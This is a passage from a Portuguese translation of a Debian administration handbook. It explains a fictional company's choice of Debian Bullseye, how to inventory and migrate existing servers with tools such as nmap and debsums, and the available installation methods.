A mudança para o Debian será gradual; um negócio pequeno, com meios limitados, não pode mudar tudo do dia para a noite. Para começar, o pessoal de TI precisa ser treinado em administração do Debian. Os servidores precisam ser convertidos, começando pela infraestrutura (roteadores, firewall, etc). seguidos pelos serviços ao usuário (compartilhamento de arquivos, Internet, SMTP, etc.). Então os computadores do escritório serão gradualmente migrados para Debian, para cada departamento ser treinado (internamente) durante a implantação do novo sistema.

2.3. Por que uma Distribuição GNU/Linux?

DE VOLTA AO BÁSICO Linux ou GNU/Linux?

Linux, como você já deve saber, é somente um kernel. As expressões, "distribuição Linux" e "sistema Linux" são, portanto, incorretas: elas são, em realidade, distribuições ou sistemas baseadas no Linux. Estas expressões falham ao não mencionar os programas que sempre completam este kernel, entre eles os programas desenvolvidos pelo Projeto GNU. O Dr. Richard Stallman, fundador deste projeto, insiste que a expressão "GNU/Linux" seja sistematicamente usada, de maneira a melhor reconhecer a importância das contribuições feitas pelo projeto GNU e seus princípios de liberdade nos quais foram fundados.

O Debian escolheu seguir essa recomendação e, assim, nomear suas distribuições de acordo. Desta forma, a última versão estável é o Debian GNU/Linux 11.

Diversos fatores ditaram essa escolha. O administrador do sistema, que possui familiaridade com a distribuição, assegurou que a mesma estaria listada como candidata na revisão do sistema de computadores. Dificuldades econômicas e competição feroz tem limitado o orçamento para esta operação, apesar da sua importância crítica para o futuro da empresa. Este é o motivo ao qual soluções Open Source (Código Aberto) foram rapidamente escolhidas: diversos estudos recentes indicam que estes são menos caros do que as soluções proprietárias e com relação a qualidade do serviço é igual ou melhor, desde que pessoal qualificado para operá-los estejam disponíveis.

NA PRÁTICA Custo total de propriedade (Total cost of ownership)

O Custo Total de Propriedade (TCO) é o total de dinheiro gasto com a posse ou aquisição de um item, neste caso referindo-se ao sistema operacional. Este preço inclui qualquer custo de licença, custo de treinamento de pessoas para trabalhar com o novo software, a substituição das máquinas que são muito lentas, reparos adicionais, etc. Tudo decorrente diretamente da escolha inicial é levado em consideração.

Este TCO, que varia de acordo com o critérios escolhidos na avaliação da mesma, é raramente significativo, em si. Contudo, é muito interessante comparar o TCO calculado de acordo com as mesmas regras. Este quadro de avaliação, portanto, é de suprema importância, e é fácil de manipular em ordem para desenhar uma conclusão predefinida. Portanto, o TCO para uma única máquina não faz sentido, desde que o custo do administrador também é refletido no número total de máquina que ele administra, um número que obviamente depende do sistema operacional e das ferramentas propostas.

Entre os sistemas operacionais livres, o departamento de TI olhou para os sistemas BSD (OpenBSD, FreeBSD, e NetBSD), GNU Hurd, e distribuições Linux. GNU Hurd, o qual não lançou nenhuma versão estável, foi rejeitado imediatamente. A escolha é simplesmente entre BSD e Linux. O primeiro têm muitos méritos, especialmente em servidores. O pragmatismo, entretanto, levou à escolha do sistema Linux, já que a base instalada e a popularidade são ambos muito significativos e têm inúmeras consequências positivas. Uma destas Consequências é que é mais fácil encontrar pessoas qualificadas para administrar máquinas Linux do que técnicos com experiência em BSD. Além disso, o Linux se adapta mais rapidamente a novos hardwares do que os BSD (embora eles frequentemente fiquem pescoço a pescoço nessa corrida). Finalmente, as distribuições Linux são frequentemente mais adaptadas a interfaces gráficas amigáveis, indispensáveis aos novatos durante a migração de todas máquinas do escritório para o novo sistema.

ALTERNATIVA Debian GNU/kFreeBSD

Desde o Debian 6 Squeeze, é possível usar o Debian com o kernel do FreeBSD em computadores 32 e 64 bits; isto é o que as arquiteturas kfreebsd-i386 e kfreebsd-amd64 significam. Embora estas arquiteturas não sejam “oficiais” (elas são hospedadas em um mirror separado — ports.debian.org), elas fornecem mais de 60% de todos os programas empacotados para Debian.

Estas arquiteturas podem ser apropriadas para serem escolhidas pelos administradores da Falcot Corp, especialmente para o firewall ( o kernel suporta três tipos de firewall: IPF, IPFW, PF) ou para um NAS (sistema de armazenamento por rede, para o qual o sistema de arquivos ZFS foi testado e aprovado).

2.4. Por que a Distribuição Debian?

Uma vez que a família Linux foi selecionada, uma opção mais específica deve ser feita. Novamente, os critérios a serem considerados são abundantes. A distribuição escolhida deve poder operar durante muitos anos, já que a migração de um para o outro implicaria custos adicionais (muito embora menores do que a migração entre dois sistemas operacionais completamente diferentes, como Windows ou OS X).

Sustentabilidade é, portanto, essencial e deve garantir atualizações regulares e patches de segurança durante muitos anos. O tempo de atualização também é significativo, já que, com tantas máquinas para administrar, Falcot Corp não pode manejar essa operação complexa muito frequentemente. O departamento de TI, entretanto, insiste em rodar a última versão estável da distribuição, beneficiando-se assim de uma assistência técnica melhor, e garantindo patches de segurança. Na realidade, atualizações de segurança geralmente apenas são garantidas por um tempo limitado em distribuições mais antigas.

Finalmente, por razões de homogeneidade e facilidade de administração, a mesma distribuição deve rodar em todos os servidores e computadores do escritório.

2.4.1. Distribuições Dirigidas Comercialmente e por uma Comunidade

Há duas principais categorias de distribuições Linux: dirigidas por uma empresa ou por uma comunidade. A primeira, desenvolvidas por companhias, são vendidas com serviço comercial de suporte. A última é desenvolvida de acordo com o mesmo modelo aberto assim como os programas livres pelos quais é composta.

Uma distribuição comercial terá, portanto, uma tendência a lançar versões mais frequentemente, afim de enfatizar atualizações e serviços associados. Seu futuro é diretamente associado ao sucesso comercial da companhia, e muitas já desapareceram (Caldera Linux, StormLinux, Mandriva Linux, etc.).

Uma distribuição comunitária não segue nenhum calendário a não ser o seu próprio. Como o kernel do Linux, novas versões são lançadas quando estão estáveis, nunca antes. Sua sobrevivência é garantida, enquanto houver desenvolvedores ou companhias para suportá-la.

Uma comparação de diversas distribuições Linux levou a escolha do Debian por diversos motivos:

É uma distribuição comunitária, com o desenvolvimento garantido independentemente de qualquer restrição comercial; seus objetivos são, portanto, essencialmente de natureza técnica, que parecem favorecer a qualidade geral do produto.

De todas distribuições comunitárias, é a mais significativa sob muitos pontos de vista: em números de contribuidores, número de pacotes de programas disponíveis, e anos de existência contínua. O tamanho de sua comunidade é testemunha incontestável de sua continuidade.

Estatisticamente, novas versões são lançadas a cada 18 a 24 meses e com suporte por 5 anos, um planejamento que é agradável aos administradores.

Uma pesquisa feitas com diversas companhias Francesas especializadas em programas livres mostrou que todas elas provêm assistência ao Debian; é também, para muitos deles, a sua distribuição escolhida, internalmente. Esta diversidade de provedores potenciais é um trunfo importante para a independência da Falcot Corp.

Finalmente, o Debian está disponível em diversas arquiteturas, incluindo ppc64el para processadores OpenPOWER; o que tornará, portanto, ser possível instalar o Debian nos últimos servidores IBM da Falcot Corp.

NA PRÁTICA Suporte de Longo Prazo (LTS) do Debian

O projeto do Debian LTS (Suporte de Longo Prazo) foi iniciado em 2014 e tem como objetivo prover 5 anos de suporte de segurança para todos os lançamentos estáveis do Debian. Como o LTS é de prima importância para organizações de grandes implementações, o projeto tenta reunir recursos a partir de companhias que usam o Debian.

→ https://wiki.debian.org/LTS

A Falcot Corp não é grande o suficiente para ceder um membro de sua equipe de TI para contribuir com o projeto LTS, então a companhia optou por se inscrever no contrato Debian LTS da Freexian e fornecer suporte financeiro. Graças a isso, os administradores da Falcot sabem que os pacotes que eles usam serão cuidados com prioridade e eles tem contato direto com a equipe LTS em caso de problemas.

→ https://wiki.debian.org/LTS/Funding

→ https://www.freexian.com/services/debian-lts.html

Uma vez o Debian sendo escolhido, a questão de qual versão a ser usada deve ser decidida. Vamos ver por que os administradores escolheram o Debian Bullseye.

2.5. Por que Debian Bullseye?

Cada lançamento do Debian nasce como uma distribuição em constante mudança, também chamada de “Testing”. Mas no momento em que você lê estas linhas, Debian Bullseye é a última versão “Estável ("Stable")” do Debian.

A escolha do Debian Bullseye é bem justificada baseado no fato de que qualquer administrador preocupado com a qualidade dos seus servidores irá naturalmente gravitar ao redor da versão estável do Debian. Mesmo se a versão estável anterior ainda for suportada por um tempo, os administradores da Falcot não consideram ela uma opção por que seu período de suporte não vai ser longo o suficiente e por que a nova versão trás funcionalidades interessantes nas quais eles estão interessados.

Capítulo 3. Analisando a Configuração Existente e Migrando

Qualquer revisão de sistema computacional deve levar em consideração o sistema existente. Isto permite a reutilização de recursos disponíveis o máximo possível e garante a interoperabilidade de vários elementos que compreendem o sistema. Este estudo irá introduzir uma estrutura genérica a ser seguida em qualquer migração de uma infraestrutura computacional para Linux.

3.1. Coexistência em Ambientes Heterogêneos

Debian integra muito bem em todos os tipos de ambientes existentes e lida muito bem com qualquer outro sistema operacional. Esta quase-perfeita harmonia vem de uma pressão de mercado que demanda que os editores de software desenvolvam programas que sigam padrões. Conformidades com padrões permitem que administradores troquem programas: clientes ou servidores, sendo livres ou não.

3.1.1. Integração com Máquinas Windows

O suporte SMB/CIFS do Samba garante excelente comunicação dentro de um contexto Windows. Ele compartilha arquivos e filas de impressão para clientes Windows e inclui software que permite que uma máquina Linux use recursos disponíveis em servidores Windows.

FERRAMENTA Samba

A última versão do Samba pode substituir a maioria dos recursos do Windows: desde daquelas simples do servidor Windows NT (autenticação, arquivos, filas de impressão, download de drivers de impressoras, DFS, etc.) até as mais avançadas (controlador de domínio compatível com Active Directory).

3.1.2. Integração com máquinas macOS

máquinas macOS fornecem, e podem usar, serviços de rede tais como servidores de arquivos e compartilhamento de impressão. Estes serviços são publicados na rede local, o que possibilita que outras máquinas descubram e usem tais serviços sem qualquer configuração manual, usando a implementação Bonjour da suite de protocolos zeroconf. O Debian inclui outra implementação, chamada Avahi, que fornece a mesma funcionalidade.

No outro sentido, o daemon Netatalk pode ser usado para fornecer servidores de arquivos para máquinas macOS na rede. Ele implementa o protocolo AFP (Apple Filling Protocol, agora AppleShare) assim como as notificações necessárias para que os servidores possam ser descobertos automaticamente pelos clientes macOS.

Antigas redes Mac OS (antes do OS X) usavam um protocolo diferente chamado Appletalk. Para ambientes envolvendo máquinas usando este protocolo, o Netatalk também fornece o protocolo AppleTalk (na verdade, ele começou como uma reimplementação deste protocolo). Ele garante a operação do servidor de arquivos e filas de impressão, bem como um servidor de hora (sincronização de relógio). Suas funções de roteador permitem interconexão com redes Appletalk.

3.1.3. Integração com Outras Máquinas Linux/Unix

Finalmente, NFS (Sistema de Arquivos em Rede) e NIS (Serviço de Informações em Rede), ambos incluídos, garantem interação com sistemas Unix. NFS garante funcionalidade como servidor de arquivos, enquanto NIS cria diretórios de usuários. A camada de impressão BSD, usada por muitos sistemas Unix, também permite o compartilhamento de filas de impressão.

Figura 3.1. Coexistência do Debian com OS X, Windows e sistemas Unix

3.2. Como Migrar

Para garantir a continuidade dos serviços, cada migração de computador deve ser planejada e executada de acordo com o plano. Este princípio se aplica a independente do sistema operacional usado.

3.2.1. Pesquisar e Identificar Serviços

Tão simples quanto parece, este passo é essencial. Um administrador sério sabe realmente quais são os principais papéis de cada servidor, mas estes papéis podem mudar, e as vezes usuários experientes podem ter instalado serviços "selvagens". Sabendo que eles existem irá pelo menos permitir que você decida o que fazer com eles, em vez de excluí-los ao acaso.

Para isso, é aconselhável informar seus usuários sobre o projeto antes de migrar o servidor. Para envolvê-los no projeto, pode ser útil instalar os programas de software livre mais comuns em seus desktops antes da migração, que eles encontrarão novamente após a migração para o Debian; LibreOffice e o pacote Mozilla são os melhores exemplos aqui.

3.2.1.1. Rede e Processos

A ferramenta nmap (contida no pacote de mesmo nome) irá rapidamente identificar Serviços de Internet hospedados por uma máquina conectada na rede sem a necessidade de se logar. Simplesmente chame o seguinte comando em outra máquina conectada na mesma rede:

$ nmap mirwiz Starting Nmap 7.80 ( https://nmap.org ) at 2021-04-29 14:41 CEST Nmap scan report for mirwiz (192.168.1.104) Host is up (0.00062s latency). Not shown: 992 closed ports PORT STATE SERVICE 22/tcp open ssh 25/tcp open smtp 80/tcp open http 111/tcp open rpcbind 139/tcp open netbios-ssn 445/tcp open microsoft-ds 5666/tcp open nrpe 9999/tcp open abyss Nmap done: 1 IP address (1 host up) scanned in 0.06 seconds

ALTERNATIVA Use ss para encontrar a lista de serviços disponíveis

Em uma máquina Linux, o comando ss -anptu irá exibir a lista de sessões TCP ativas ou pendentes, bem como portas UDP em que processos em execução estão ouvindo. Isto facilita a identificação de serviços oferecidos na rede.

INDO ALÉM IPv6

Alguns comandos de rede podem funcionar com IPv4 (o padrão geralmente) ou com IPv6. Entre eles estão o nmap e ss, mas também outros, como route ou ip. A convenção é que este comportamento seja habilitado pela opção de linha de comando -6.

Se o servidor é uma máquina Unix oferecendo contas shell a usuários, é interessante determinar se processos são executados em segundo plano na ausência de seus donos. O comando ps auxw exibe uma lista de todos os processos com suas identidades de usuários. Checando esta informação contra a saída do comando who ou w, que mostra uma lista de usuários logados, é possível identificar servidores ladões ou não-declarados ou programas rodando em segundo plano. Olhar para o crontabs (tabelas listando ações automáticas agendadas por usuários) irá, muitas vezes, fornecer informações interessantes sobre funções cumpridas pelo servidor (uma explicação completa do cron está disponível em Seção 9.7, “Agendando Tarefas com cron e atd”).

Em qualquer caso, é essencial fazer backup de seus servidores: isto permite a recuperação de informações após o fato, quando usuários irão reportar problemas específicos devido a migração.

3.2.2. Fazendo Backup da Configuração

É sábio manter a configuração de cada serviço identificado para poder instalar o equivalente no servidor atualizado. O mínimo é fazer uma cópia de segurança dos arquivos de configuração.

Para máquinas Unix, os arquivos de configuração são normalmente encontrados em /etc/, mas eles podem estar localizados em um sub-diretório de /usr/local/. Este é o caso se um programa foi instalado a partir dos fontes, ao invés de um pacote. Em alguns casos, também podem ser encontrados em /opt/.

Para serviços de gestão de dados (como em bancos de dados), é fortemente recomendado exportar os dados para um formato padrão que seja facilmente importado pelo novo software. Tal formato é usualmente em modo texto e documentado; ele pode ser, por exemplo, um dump SQL para um banco de dados, ou um arquivo LDIF para um servidor LDAP.

Figura 3.2. Backups de bases de dados

Cada software de servidor é diferente, e é impossível descrever todos os casos existentes em detalhes. Compare a documentação do software existente com a do novo para identificar as porções exportáveis (portanto, re-importáveis) e as que requerem manipulação manual. A leitura deste livro vai clarear a configuração dos principais programas de servidor Linux.

3.2.3. Assumindo um servidor Debian existente

Para assumir efetivamente sua manutenção, deve se analisar uma máquina que já esteja rodando o Debian.

O primeiro arquivo a verificar é o /etc/debian_version, que usualmente contém o número de versão para o sistema Debian instalado (ele é parte do pacote base-files). Se ele indica codenome/sid, significa que o sistema foi atualizado com pacotes vindos de uma das distribuições de desenvolvimento (tanto testing quanto unstable).

O programa apt-show-versions (do pacote Debian de mesmo nome) verifica a lista de pacotes instalados e identifica as versões disponíveis. O aptitude pode também ser usado para estas tarefas, embora de uma maneira menos sistemática.

Uma olhada no arquivo /etc/apt/sources.list (e no diretório /etc/apt/sources.list.d/) mostrará de onde os pacotes debian instalados costumam vir. Se muitas fontes desconhecidas aparecem, o administrador pode escolher reinstalar o sistema do computador para garantir compatibilidade ótima com o software fornecido com o Debian.

O arquivo sources.list é frequentemente um bom indicador: a maioria dos administradores mantém, pelo menos nos comentários, a lista de fontes APT que foram usadas anteriormente. Mas você não deve esquecer que as fontes usadas no passado podem ter sido apagadas, e que alguns pacotes aleatórios obtidos na Internet podem ter sido instalados manualmente (com a ajuda do comando dpkg ). Neste caso, a máquina é enganosa em sua aparência de ser um sistema Debian “padrão”. É por isso que você deve prestar atenção a qualquer indicação que irá revelar a presença de pacotes externos (aparência de arquivos deb em diretórios incomuns, números de versão de pacote com um sufixo especial indicando que ele foi originado fora do projeto Debian, como ubuntu ou lmde, etc.).

Da mesma forma, é interessante analisar o conteúdo da diretório /usr/local/, que deve conter os programas compilados e instalados manualmente. Listar os programas instalados desta maneira é instrutivo, já que se questiona o porque de não se ter usado o pacote Debian correspondente, se este existir.

OLHADA RÁPIDA cruft/cruft-ng, debsums, and apt-show-versions

O pacote cruft e cruft-ng se propõe a listar os arquivos disponíveis que não são de propriedade de nenhum pacote. Ele tem alguns filtros (mais ou menos efetivos, e mais ou menos atualizados) para evitar colocar no relatório alguns arquivos legítimos (arquivos gerados por pacotes Debian, ou arquivos de configuração gerados não-controlados pelo dpkg, etc.).

Cuidado para não apagar arbitrariamente tudo que o cruft e cruft-ng venha a listar!

O pacote debsums permite verificar o hashsum MD5 de cada arquivo instalado por um pacote em relação a um hashsum de referência e pode ajudar a determinar quais arquivos podem ter sido alterados (consulte DICA Encontrando arquivos alterados). Esteja ciente de que os arquivos criados (arquivos gerados por pacotes Debian ou arquivos de configuração gerados não gerenciados pelo dpkg, etc.) não estão sujeitos a esta verificação.

O pacote apt-show-versions fornece uma ferramenta para verificar pacotes instalados sem um pacote fonte e pode ajudar a determinar quais são pacotes de terceiros (veja em Seção 6.7.3.1, “Pacotes removidos do Arquivamento Debian”).

3.2.4. Instalando o Debian

Com toda a informação no servidor atual agora conhecida, podemos desligá-lo e começar a instalar o Debian nele.

Para escolher a versão apropriada, devemos conhecer a arquitetura do computador. Se for um PC relativamente novo, é provável que seja um amd64 (PCs mais antigos normalmente são i386). Caso contrário, podemos restringir as possibilidades de acordo com o sistema usado anteriormente.

Tabela 3.1 não pretende ser exaustiva, mas útil. Observe que ela lista arquiteturas do Debian que não são mais suportadas na atual versão estável. De qualquer forma, a documentação original do computador é a fonte mais confiável para encontrar esta informação.

Tabela 3.1. Arquitetura e respectivo sistema operacional

Sistema Operacional | Arquitetura(s)
DEC Unix (OSF/1) | alpha, mipsel
HP Unix | ia64, hppa
IBM AIX | powerpc
Irix | mips
OS X | amd64, powerpc, i386
z/OS, MVS | s390x, s390
Solaris, SunOS | sparc, i386, m68k
Ultrix | mips
VMS | alpha
Windows 95/98/ME | i386
Windows NT/2000 | i386, alpha, ia64, mipsel
Windows XP / Windows Server 2008 | i386, amd64, ia64
Windows RT | armel, armhf, arm64
Windows Vista / Windows 7-8-10 | i386, amd64

o HARDWARE dos PCs de 64 bit vs 32 bit

Computadores mais novos tem processadores Intel ou AMD de 64 bits, compatíveis com os antigos processadores de 32 bits; o software compilado para arquitetura “i386” então funciona. Por outro lado, este modo de compatibilidade não explora completamente as capacidades destes novos processadores. É por isto que o Debian fornece a arquitetura amd64, que funciona com chips AMD recentes. Assim como processadores “em64t” da Intel (incluindo a maioria da série Core), que são muito similares aos processadores AMD64.

3.2.5. Instalando e Configurando os Serviços Selecionados

Depois do Debian instalado, devemos instalar e configurar individualmente cada um dos serviços que o computador vai hospedar. A nova configuração deve levar em consideração a anterior para garantir uma transição suave. Toda a informação coletada nos primeiros dois passos será útil para completar com sucesso esta parte.

Figura 3.3. Instalar os serviços selecionados

Antes de pular de cabeça neste exercício, é fortemente recomendado que você leia o restante deste livro. Depois disto, você terá um conhecimento mais preciso de como configurar os serviços esperados.

Capítulo 4. Instalação

Para utilizar o Debian, você precisa instalá-lo em um computador; esta tarefa é feita pelo programa debian-installer. Uma instalação correta envolve muitas operações. Este capítulo revisa as mesmas em ordem cronológica.

DE VOLTA AO BÁSICO Um curso rápido no apêndice

Instalar um computador é sempre mais simples quando você está familiarizado com seu funcionamento. Se você não está, faça um desvio rápido para Apêndice B, Curso Rápido de Reparação antes de ler este capítulo.

O instalador para Bullseye é baseado no debian-installer. Seu projeto modular permite que o mesmo trabalhe em diversos cenários e evolua e se adapte a mudanças. Apesar das limitações implícitas devido a necessidade de suportar um grande número de arquiteturas, este instalador é muito acessível aos iniciantes, já que o mesmo ajuda o usuário em cada estágio do processo. Detecção automática de hardware, particionamento guiado, e interfaces gráficas resolveram a maioria dos problemas que os novatos enfrentam durante os primeiros anos no Debian.

A instalação precisa de 256 MB de RAM (Memória de Acesso Randômico) e pelo menos 2 GB de espaço no disco rígido. Todos os computadores da Falcot cumprem esses critérios. Note, entretanto, que esse cenário se aplica a uma instalação muito limitada do sistema sem nenhuma interface gráfica. Um mínimo de 1 GB de RAM e 10 GB de espaço no disco rígido são recomendados para uma estação de trabalho básica.

ATENÇÃO Atualizando a partir do Buster

Se você já tem o Debian Bullseye instalado em seu computador, este capítulo não é para você! Ao contrário de outras distribuições, o Debian permite atualizar um sistema de uma versão para a próxima sem ter que reinstalar o sistema. A reinstalação, além de desnecessária, pode até ser perigosa, pois pode remover programas já instalados.

O processo de atualização será descrito em Seção 6.7, “Atualizando de uma Versão Estável para a Próxima”.

Não existe suporte para atualizar diretamente de sistemas Debian ainda mais antigos. Neste caso você precisa atualizar de forma gradual, indo para o lançamento estável (stable) que vem depois da sua versão do Debian, e de novo e de novo. Versões prévias deste livro vão te ajudar nesta tarefa.

4.1. Métodos de Instalação

Um sistema Debian pode ser instalado a partir de diversos tipos de mídia, desde que a BIOS/UEFI (see NOTA UEFI, um moderno substituto para a BIOS) da máquina permita. Você pode exemplo inicializar com um CD-ROM, um pendrive, ou até mesmo pela rede.

4.1.1. Instalando a partir do CD-ROM/DVD-ROM

O método mais amplamente usado para a instalação é a partir do CD-ROM (ou DVD-ROM, que se comporta exatamente igual): o computador é inicializado a partir desta mídia e o programa de instalação toma o controle.

Diferentes famílias de CD-ROMs tem propósitos diferentes: netinst (network installation - instalação pela rede) contém o instalador e o sistema Debian básico; todos os outros programas são baixados. Sua “imagem”, ou seja, o sistema de arquivos ISO-9660 que contém o conteúdo exato do disco, usa somente entre 150 e 280 MB (dependendo da arquitetura). Por outro lado, o conjunto completo oferece todos os pacotes e permite uma instalação em um computador que não tem acesso à Internet; ele precisa de cerca de 19 DVD-ROMs (ou 4 Blu-rays). Não existe mais o conjunto de CD-ROMs oficial pois ele ficou muito grande, é raramente usado e computadores atuais usam DVD-ROMs além de CD-ROMs. Mas os programas são divididos entre os discos de acordo com sua popularidade e importância; o primeiro disco é suficiente para a maioria das instalações, já que nele tem os softwares mais usados.

Existe um último tipo de imagem, conhecido como mini.iso, que está disponível apenas como um "subproduto" do instalador. A imagem apenas contém o mínimo necessário para configurar a rede e todo o resto é baixado (incluindo as partes do próprio instalador, o que explica o porque dessas imagens tenderem a falhar quando uma nova versão do instalador é lançada). essas imagens podem ser encontradas nos espelhos normais do Debian sob o diretório dists/lançamento/main/installer-arch/current/images/netboot/.

DICA Discos multi-arquiteturas

A maioria dos CD- e DVD-ROMs trabalham somente com uma arquitetura específica. Se você deseja baixar a imagens completas, você deve se preocupar em escolher aquelas que funcionam com o hardware do computador no qual você pretende instalá-las.

Algumas imagens de CD/DVD-ROM podem funcionar em várias arquiteturas. Portanto, temos uma imagem de CD-ROM combinando as imagens netinst das arquiteturas i386 e amd64.

Para obter as imagens de CD-ROM do Debian, você precisa claramente baixá-las e queimar a mesma em um disco. Você poderia também comprá-la, e, assim, dar um pequeno suporte financeiro ao projeto. Verifique o site para ver a lista de imagens de DVD-ROM e os sites de para baixá-las.

→ https://www.debian.org/CD/

4.1.2. Iniciando a partir de um pendrive

Como a maioria dos computadores são capazes de inicializar a partir de dispositivos USB, você pode também instalar o Debian a partir de um pendrive USB (isso nada mais é do que um pequeno disco de memória flash).

O manual de instalação explica como criar um dispositivo USB que contenha o debian-installer (instalador debian). O procedimento é bastante simples porque imagens ISO para as arquiteturas i386 e amd64 agora são imagens híbridas que podem inicializar a partir de um CD-ROM ou de um dispositivo USB.

Você deve primeiro identificar o nome do dispositivo da "USB key" (ex: /dev/sdb); o jeito mais simples de fazer isto é verificar as mensagens enviadas pelo núcleo ("kernel") usando o comando dmesg. Então você deve copiar a imagem ISO previamente baixada (por exemplo debian-11.0.0-amd64-netinst.iso) com o comando cat debian-11.0.0-amd64-netinst.iso >/dev/sdb; sync. este comando requer direito de administrador, já que acessa o "USB key" diretamente e apaga o seu conteúdo sem conferir.

Uma explicação mais detalhada está disponível no manual de instalação. Entre outras coisas, ele descreve um método alternativo de preparar uma "USB key" que é mais complexo, mas que te permite personalizar as opções padrão do instalador (aquelas configuradas na linha de comando do kernel).

→ https://www.debian.org/releases/stable/amd64/ch04s03

4.1.3. Instalando via inicialização pela rede

Muitas BIOS permitem iniciar diretamente da rede baixando um kernel e uma imagem de sistema de arquivos mínima. Este método (que tem muitos nomes, tal como inicialização PXE ou TFTP) pode ser um salva-vidas se o computador não tem um leitor de CD-ROM, ou se a BIOS não pode iniciar por outros meios.

Este método de instalação funciona em dois passos. Primeiro, quando iniciando o computador, a BIOS (ou a placa de rede) envia um pedido BOOTP/DHCP para automaticamente adquirir um endereço IP. Quando um servidor BOOTP ou DHCP retorna uma resposta, ele inclui um nome de arquivo, assim como configurações de rede. Depois da rede configurada, o computador cliente envia um pedido TFTP (Trivial File Transfer Protocol) para um arquivo cujo nome foi previamente indicado. Quando o arquivo é recebido, ele é executado como se estivesse num carregador de inicialização ("bootloader"). Ele então lança o instalador Debian, que é executado como se estivesse num disco, CD-ROM ou "USB key".

Todos os detalhes deste método estão disponíveis no guia de instalação (seção “Preparando os arquivos para Inicialização em Rede com TFTP”).

→ https://www.debian.org/releases/stable/amd64/ch05s01#boot-tftp-x86

→ https://www.debian.org/releases/stable/amd64/ch04s05

4.1.4. Outros métodos de instalação

Quando temos que instalar de forma personalizada um grande número de computadores, geralmente escolhemos um método automatizado ao invés de um manual. Dependendo da situação e da complexidade das instalações a serem feitas, podemos usar um FAI (Fully Automatic Installer, ou Instalador Totalmente Automático, descrito em Seção 12.3.1, “Instalador Completamente Automático (FAI)”), ou mesmo um DVD de instalação personalizado com "preseeding" (veja Seção 12.3.2, “Preseeding Debian-Installer”).

Note também que o instalador pode carregar e executar um servidor SSH e portanto fornece a habilidade de instalar o Debian remotamente via uma sessão SSH. As notas de lançamento (release notes) também descrevem como executar o instalador a partir de um sistema existente usando o grub para substituí-lo completamente.

4.2. Instalando, Passo a Passo

4.2.1. Ligando e iniciando o Instalador

Uma vez que a BIOS começou a iniciar do CD- ou DVD-ROM, o menu do carregador de boot Isolinux aparecerá. Neste ponto, o kernel do Linux ainda não está carregado; este menu permite escolher o kernel para iniciar e passar parâmetros possíveis para serem transferidos a ele no processo.

Para uma instalação padrão, você só precisa escolher “Instalar” ou “Instalação gráfica” (com as teclas de seta) e, a seguir, pressionar a tecla Enter para iniciar o restante do processo de instalação. Se o DVD-ROM é um disco “Multi-arch” e a máquina tem um processador Intel ou AMD de 64 bits, essas opções de menu permitem a instalação da variante de 64 bits (amd64) e a instalação da variante de 32 bits permanece disponível em um submenu dedicado (“opções de instalação de 32 bits”). Se você tem um processador de 32 bits, não tem escolha e as entradas do menu instalam a variante de 32 bits (i386).

SE APROFUNDANDO 32 ou 64 bits?

A diferença fundamental entre sistemas de 32 e 64 bits é o tamanho dos endereços de memória. Teoricamente, um sistema de 32 bits não pode trabalhar com mais de 4 GB de RAM (2³² bytes). Na prática, é possível contornar essa limitação usando a variante do núcleo chamada 686-pae, se o processador entende a funcionalidade PAE (Physical Address Extension). Entretanto, usar este recurso traz um grande impacto no desempenho do sistema. É por isso que é útil usar o modo de 64 bits num servidor com uma grande quantidade de RAM.

Para um computador de escritório (onde uns poucos porcentos de diferença na performance é desprezível), você deve ter em mente que alguns programas proprietários não estão disponíveis em versões de 64 bits. É tecnicamente possível fazê-los funcionar em sistemas de 64 bits, mas você terá que instalar as versões de 32 bits com todas bibliotecas necessárias (veja Seção 5.4.5, “Suporte Multi-Arqu”), e às vezes usar setarch ou linux32 (no pacote util-linux) para enganar as aplicações quanto à natureza do sistema.

NA PRÁTICA Instalação lado a lado com um sistema Windows

Se o computador já roda Windows, não precisa removê-lo para instalar o Debian. Você pode ter ambos os sistemas juntos, cada um instalado num disco ou partição separados, e escolher qual iniciar quando der boot no computador. Este configuração é conhecida como duplo boot (“dual boot”), e o sistema de instalação do Debian pode configurar isto. Isto é feito durante o estágio de particionamento do disco rígido e durante a configuração do carregador de boot (veja as barras laterais NA PRÁTICA diminuindo uma partição do Windows and ATENÇÃO Carregador de boot e dual boot ).

Se você já tem um sistema Windows em funcionamento, você pode evitar gastar um CD-ROM; O Debian oferece um programa Windows que irá baixar um instalador leve do Debian e configurá-lo no disco rígido. Você somente precisará então reiniciar o computador e escolher entre inicializar normalmente o Windows ou inicializar o programa de instalação. Você também pode encontrá-lo em uma página web dedicada que tem um nome bem intuitivo...

→ https://deb.debian.org/debian/tools/win32-loader/stable/

→ https://people.debian.org/~rmh/goodbye-microsoft/

DE VOLTA AO BÁSICO Carregador de inicialização

O carregador de inicialização é um programa de baixo nível responsável por inicializar o kernel do Linux logo após a BIOS passar seu controle. Para lidar com essa tarefa, ele deve ser capaz de localizar o kernel do Linux para inicializar no disco. Nas arquiteturas i386 e amd64, os dois programas mais usados para realizar esta tarefa são LILO, o mais antigo dos dois, e GRUB, seu substituto moderno. Isolinux e Syslinux são alternativas frequentemente usadas para inicializar a partir de mídia removível.

Cada opção do menu esconde uma linha de comando de inicialização específica, que pode ser configurada conforme a necessidade ao pressionar a tecla TAB antes de validar a opção e inicializar. A opção "Ajuda" do menu mostra a antiga interface de linha de comando, onde as teclas F1 a F10 exibem diferentes telas de ajuda detalhando as várias opções disponíveis no terminal. Você raramente irá utilizar esta opção, exceto em casos muito específicos.

O modo "avançado" (acessível no menu "Opções avançadas") detalha todas as opções possíveis no processo de instalação, e possibilita a navegação entre os vários passos sem que eles aconteçam automaticamente em sequência. Seja cuidadoso, este modo muito detalhado pode ser confuso devido as muitas opções de configuração que ele oferece.

Com o modo de "recuperação", também disponível no menu de "Opções avançadas", você pode recuperar um sistema quebrado ou consertar um carregador de boot. Depois de ser apresentado a algumas telas do instalador, você pode entrar num prompt do shell no sistema de arquivos que você selecionou para realizar quaisquer ações necessárias, ou reinstalar o carregador de boot.

→ https://www.debian.org/releases/stable/amd64/ch08s06.en.html

Figura 4.1. Tela de inicialização

Uma vez inicializado, o programa de instalação o orienta passo a passo ao longo do processo. Esta seção apresenta cada uma dessas etapas em detalhes. Aqui nós seguimos o processo de instalação de um DVD-ROM amd64 (mais especificamente, a versão RC3 do instalador para Bullseye); As instalações netinst, bem como a versão final do instalador, podem ser ligeiramente diferentes. Também abordaremos a instalação no modo gráfico, mas a única diferença da instalação “clássica” (modo texto) está na aparência.

4.2.2. Selecionando o idioma

